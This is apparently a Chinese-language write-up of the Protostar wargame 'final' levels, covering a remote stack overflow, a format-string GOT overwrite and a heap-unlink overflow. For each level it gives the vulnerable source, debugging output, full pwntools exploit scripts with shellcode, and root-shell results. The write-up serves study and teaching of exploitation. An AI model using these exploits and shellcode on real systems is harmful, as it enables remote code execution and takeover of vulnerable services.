最后的Final系列,把这个系列的东西都综合起来了。

final 0

char *get_username()
{
  char buffer[512];
  char *q;
  int i;

  memset(buffer, 0, sizeof(buffer));
  gets(buffer);

  /* Strip off trailing new line characters */
  q = strchr(buffer, '\n');
  if(q) *q = 0;
  q = strchr(buffer, '\r');
  if(q) *q = 0;

  /* Convert to lower case */
  for(i = 0; i < strlen(buffer); i++) {
      buffer[i] = toupper(buffer[i]);
  }

  /* Duplicate the string and return it */
  return strdup(buffer);
}

这个题目是结合了栈溢出和网络相关的知识,一道远程溢出的题目。很明显,接收buffer的时候没有对长度做检查,导致了溢出。先来看看溢出点在哪里。

➜  net  python ~/pattern.py create 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
➜  net  nc 192.168.37.159 2995
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At

通过core dump文件找找偏移量。

user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324 
Reading symbols from /opt/protostar/bin/final0...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x72413772 in ?? ()

➜  net  python ~/pattern.py offset 0x72413772
hex pattern decoded as: r7Ar
532

shellcode我们选择这个可以绕过toupper()的:

shellcode  = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"

shellcode来自:https://www.exploit-db.com/exploits/13460/

找一下返回地址:

(gdb) x/10s $esp-536
0xbffffa48:  "AA0AA1AA2AA3AA4........

太长了多余的不贴了,写payload吧。

from pwn import *

target = remote('192.168.37.159',2995)

shellcode  = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"

nopcode = '\x90' * 20
ret_addr = 0xbffffa48

payload = nopcode + shellcode + 'A' * (532 - len(shellcode) - len(nopcode)) + p32(ret_addr)

target.send(payload)
target.interactive()

打一下试试:

➜  net  python final0.py          
[+] Opening connection to 192.168.37.159 on port 2995: Done
[*] Switching to interactive mode
$ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$ 

final 1

先上代码:

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();

}

这个题是用syslog输出的,如果仅仅是远程打的话看不到回显有点蛋疼。只能上去一边看syslog一边打。既然这里调用了syslog,我们就把syslog的地址改为我们shellcode的地址。先来看看syslog函数的地址是多少:

user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog
0804a11c R_386_JUMP_SLOT   syslog

现在来确定一下偏移量。

payload = 'username AAAABBBB' + '%08x.' * 20 + '[%08x]\n'
payload += 'login b\n'

Login from 192.168.198.128:49884 as [AAAABBBB08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.34383839.20736120.4141415b.42424241.38302542.30252e78.252e7838.[2e783830]] with password [b]

还需要调整一下payload:

payload = 'username xxxAAAAx' + '%08x.' * 16 + '[%08x]\n'
payload += 'login b\n'

Login from 192.168.198.128:49893 as [xxxAAAAx08049ee4.0804a2a0.0804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.312e3239.312e3836.312e3839.343a3832.33393839.20736120.7878785b.[41414141]] with password [b]

调整好了,现在的问题是把syslog的地址改为shellcode的地址。

payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' +  '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n'     + '%192u%20$08n' + '\n'

接下来为了触发shellcode,还需要确定何时发送shellcode。

payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' +  '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n'     + '%192u%20$08n' + '\n'
payload += 'login ' + 'Z'*55 + '\n'
payload += 'login ' + 'Y'*55 + '\n'
target.send(payload)

然后丢到gdb里调一下,发现Y这个位置会出现在栈里,决定把这里替换为shellcode,地址是0xbffffbdc。

然后就可以写exp了:

from pwn import *

target = remote('192.168.198.129', 2994)

nopcode = '\x90' * 12
shellcode  = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
shellcode = nopcode + shellcode

payload = 'username xxx\x1c\xa1\x04\x08' + '\x1d\xa1\x04\x08' + '\x1e\xa1\x04\x08' + '\x1f\xa1\x04\x08' +  '%164u%17$08n' + '%287u%18$08n' + '%260u%19$08n' + '%192u%20$08n' + '\n'
payload += 'login ' + 'Z'*55 + '\n'
payload += 'login ' + shellcode + '\n'

target.send(payload)
target.interactive()
target.close()

打一下看看结果:

➜  program  python final1-exp.py
[+] Opening connection to 192.168.198.129 on port 2994: Done
[*] Switching to interactive mode
[final1] $ [final1] $ login failed
[final1] $ $ whoami
root
$ id
uid=0(root) gid=0(root) groups=0(root)
$ 

final 2

这个题是远程的堆溢出,有点蛋疼。

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
  * Work out old software bug
  */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
      start = strstr(buf, "ROOT");
      if(start) {
          while(*start != '/') start--;
          memmove(start, p, l);
          printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
          "yes" : "no", start - buf);
      }
  }
}

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
      if(dll >= 255) break;

      buf = calloc(REQSZ, 1);
      if(read(fd, buf, REQSZ) != REQSZ) break;

      if(strncmp(buf, "FSRD", 4) != 0) break;

      check_path(buf + 4);     

      dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
      free(destroylist[i]);
  }
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  get_requests(fd);

}

分析下来,发现在查找/的时候,没有进行边界检查,出现了堆溢出。这里给出的源码和二进制文件有些出入,二进制中check_path函数没有调用printf函数,而且这里在46行左右少了一行代码,是destorylist[dll] = buf,对应后面的free函数。每次请求的时候,都会calloc一个128字节的空间,而且我们的请求长度必须满足128字节。这样一来,我们可以发送两个请求,这样会分配两个chunk,第一个请求的/放在最后,第二个请求增加ROOT字符串。大概是这个样子:

payload = 'FSRD' + 'A'*123 + '/'
payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD'

然后看一下core dump文件:

(gdb) x/i $eip
0x804aaef <free+301>:   mov    %edx,0xc(%eax)

(gdb) i r
eax            0x43434343       1128481603
ecx            0x804c2d6        134529750
edx            0x44444444       1145324612
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7e0       0xbffff7e0
ebp            0xbffff828       0xbffff828
esi            0x0      0
edi            0x0      0
eip            0x804aaef        0x804aaef <free+301>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/100x 0x0804e000
0x804e000:      0x00000000      0x00000089      0x44525346      0x41414141
0x804e010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e040:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e050:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e060:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e070:      0x41414141      0x41414141      0x41414141      0x41414141
0x804e080:      0x41414141      0x2f414141      0xfffffffc      0xfffffffc
0x804e090:      0x43434343      0x44444444      0x42424242      0x42424242
0x804e0a0:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0b0:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0c0:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0d0:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0e0:      0x42424242      0x42424242      0x42424242      0x42424242
0x804e0f0:      0x42424242      0x42424242      0x42424242      0x2f424242
0x804e100:      0xfffffffc      0xfffffffc      0x43434343      0x44444444

基本上已经可以打了,然后是加入shellcode和真正需要修改的地址。获取write函数的地址:

user@protostar:/opt/protostar/bin$ objdump -R final2 | grep write
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite

还有个fwrite,不管他,我们选择覆盖掉write在GOT中的地址。然后shellcode注入到0x0804e00c这个位置,多一点也没关系,反正shellcode前面填充了nop。
构造payload:

from pwn import *

target = remote('192.168.198.129', 2993)

nopcode = '\x90' * 12
shellcode  = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07"
shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c"
shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff"
shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48"
shellcode = nopcode + shellcode

writeAddr = 0x0804d41c
shellcodeAddr = 0x0804e00c

payload = 'FSRD' + shellcode + 'A'*(123-len(shellcode)) + '/'
payload += 'FSRDROOT' + 'B'*103 + '/' + '\xfc\xff\xff\xff'*2 + p32(writeAddr-0xc) + p32(shellcodeAddr)
target.send(payload)

target.interactive()
target.close()

跑起来看看效果:

➜  program  python final2-exp.py
[+] Opening connection to 192.168.198.129 on port 2993: Done
[*] Switching to interactive mode
$ id
Process OK
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$  

至此protostar系列已经通关了。